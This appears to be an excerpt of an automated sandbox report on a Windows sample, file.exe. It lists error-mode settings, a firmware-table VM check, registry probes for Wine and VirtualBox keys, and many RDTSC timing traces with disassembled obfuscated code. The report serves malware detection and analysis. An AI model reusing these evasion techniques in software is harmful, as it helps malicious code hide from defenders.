Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\svchost.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA1C2 second address: 9AA1F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E6B898h 0x00000009 jmp 00007FE2B0E6B893h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA1F4 second address: 9AA1FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A91BC second address: 9A91C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A95EC second address: 9A95F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9A37 second address: 9A9A43 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE2B0E6B886h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD561 second address: 9AD5F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 push esi 0x0000000a jne 00007FE2B0E330D6h 0x00000010 pop esi 0x00000011 jmp 00007FE2B0E330DFh 0x00000016 popad 0x00000017 nop 0x00000018 xor dword ptr [ebp+122D3573h], ebx 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push esi 0x00000023 call 00007FE2B0E330D8h 0x00000028 pop esi 0x00000029 mov dword ptr [esp+04h], esi 0x0000002d add dword ptr [esp+04h], 0000001Ch 0x00000035 inc esi 0x00000036 push esi 0x00000037 ret 0x00000038 pop esi 0x00000039 ret 0x0000003a call 00007FE2B0E330D9h 0x0000003f pushad 0x00000040 pushad 0x00000041 jmp 00007FE2B0E330E7h 0x00000046 pushad 0x00000047 popad 0x00000048 popad 0x00000049 jc 00007FE2B0E330D8h 0x0000004f pushad 0x00000050 popad 0x00000051 popad 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 jmp 00007FE2B0E330E1h 0x0000005b pushad 0x0000005c popad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD5F5 second address: 9AD643 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FE2B0E6B896h 0x00000011 mov eax, dword ptr [eax] 0x00000013 jc 00007FE2B0E6B890h 0x00000019 pushad 0x0000001a jg 00007FE2B0E6B886h 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FE2B0E6B893h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD784 second address: 9AD7D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007FE2B0E330D8h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 jg 00007FE2B0E330DCh 0x00000027 push 00000000h 0x00000029 mov dword ptr [ebp+122D328Bh], ecx 0x0000002f call 00007FE2B0E330D9h 0x00000034 jo 00007FE2B0E330E0h 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD7D0 second address: 9AD7E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 ja 00007FE2B0E6B88Ch 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD8D4 second address: 9AD8D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD8D8 second address: 9AD910 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007FE2B0E6B896h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE2B0E6B894h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD9AE second address: 9AD9BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD9BB second address: 9ADA94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B895h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov esi, dword ptr [ebp+122D344Eh] 0x00000010 push 00000000h 0x00000012 or esi, 7FEAD724h 0x00000018 push 60C0E60Bh 0x0000001d jnl 00007FE2B0E6B894h 0x00000023 xor dword ptr [esp], 60C0E68Bh 0x0000002a ja 00007FE2B0E6B88Ch 0x00000030 push 00000003h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007FE2B0E6B888h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 0000001Ah 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c push 00000000h 0x0000004e mov ecx, dword ptr [ebp+122D37A4h] 0x00000054 push 00000003h 0x00000056 push 00000000h 0x00000058 push ebx 0x00000059 call 00007FE2B0E6B888h 0x0000005e pop ebx 0x0000005f mov dword ptr [esp+04h], ebx 0x00000063 add dword ptr [esp+04h], 0000001Ch 0x0000006b inc ebx 0x0000006c push ebx 0x0000006d ret 0x0000006e pop ebx 0x0000006f ret 0x00000070 call 00007FE2B0E6B898h 0x00000075 xor esi, 78EB9112h 0x0000007b pop edi 0x0000007c push EA7CF82Eh 0x00000081 push eax 0x00000082 push edx 0x00000083 push eax 0x00000084 push edx 0x00000085 jmp 00007FE2B0E6B88Bh 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ADA94 second address: 9ADAAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ADAAE second address: 9ADB1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FE2B0E6B886h 0x00000009 jne 00007FE2B0E6B886h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xor dword ptr [esp], 2A7CF82Eh 0x00000019 mov dx, BF05h 0x0000001d lea ebx, dword ptr [ebp+1245B3A2h] 0x00000023 mov ecx, 073CDACAh 0x00000028 xchg eax, ebx 0x00000029 push edx 0x0000002a pushad 0x0000002b jmp 00007FE2B0E6B894h 0x00000030 jmp 00007FE2B0E6B894h 0x00000035 popad 0x00000036 pop edx 0x00000037 push eax 0x00000038 jnl 00007FE2B0E6B89Eh 0x0000003e pushad 0x0000003f jmp 00007FE2B0E6B890h 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CEAF7 second address: 9CEAFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99573A second address: 995759 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B88Bh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jp 00007FE2B0E6B886h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 995759 second address: 99575D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CCFA7 second address: 9CCFB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CCFB0 second address: 9CCFD6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE2B0E330E5h 0x00000008 push eax 0x00000009 jnp 00007FE2B0E330D6h 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD15F second address: 9CD166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD166 second address: 9CD189 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FE2B0E330DCh 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jl 00007FE2B0E330E4h 0x00000013 push edi 0x00000014 jl 00007FE2B0E330D6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD56A second address: 9CD570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDA09 second address: 9CDA3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jbe 00007FE2B0E330D6h 0x00000012 jmp 00007FE2B0E330DDh 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99F906 second address: 99F90C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99F90C second address: 99F940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E330E4h 0x00000009 jmp 00007FE2B0E330E8h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 995715 second address: 99573A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE2B0E6B88Ah 0x0000000f jmp 00007FE2B0E6B891h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE4A9 second address: 9CE4AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE5F3 second address: 9CE62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E6B899h 0x00000009 jmp 00007FE2B0E6B88Fh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pushad 0x00000013 popad 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE62A second address: 9CE630 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE96C second address: 9CE980 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE2B0E6B88Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE980 second address: 9CE988 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE988 second address: 9CE99C instructions: 0x00000000 rdtsc 0x00000002 js 00007FE2B0E6B886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FE2B0E6B886h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE99C second address: 9CE9A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D35BF second address: 9D35F2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE2B0E6B8A5h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FE2B0E6B890h 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5A3C second address: 9D5A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5A40 second address: 9D5A77 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE2B0E6B897h 0x00000008 jmp 00007FE2B0E6B891h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE2B0E6B898h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5C1A second address: 9D5C49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 jmp 00007FE2B0E330E8h 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5C49 second address: 9D5C4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5C4F second address: 9D5C72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a ja 00007FE2B0E330E0h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5C72 second address: 9D5C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8EB6 second address: 9D8EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FE2B0E330D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8EC4 second address: 9D8ED3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FE2B0E6B886h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9042 second address: 9D9046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9046 second address: 9D9056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE2B0E6B886h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9056 second address: 9D905A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9177 second address: 9D9194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FE2B0E6B897h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9194 second address: 9D91B5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jp 00007FE2B0E330D6h 0x00000012 pop ecx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jnc 00007FE2B0E330D6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D91B5 second address: 9D91B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D971A second address: 9D9723 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9723 second address: 9D9740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E6B897h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9862 second address: 9D988F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE2B0E330E2h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE2B0E330DFh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D988F second address: 9D9893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC5B7 second address: 9DC631 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE2B0E330DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 642DE0A7h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007FE2B0E330D8h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b jnl 00007FE2B0E330E9h 0x00000031 call 00007FE2B0E330D9h 0x00000036 jmp 00007FE2B0E330E2h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e js 00007FE2B0E330DCh 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
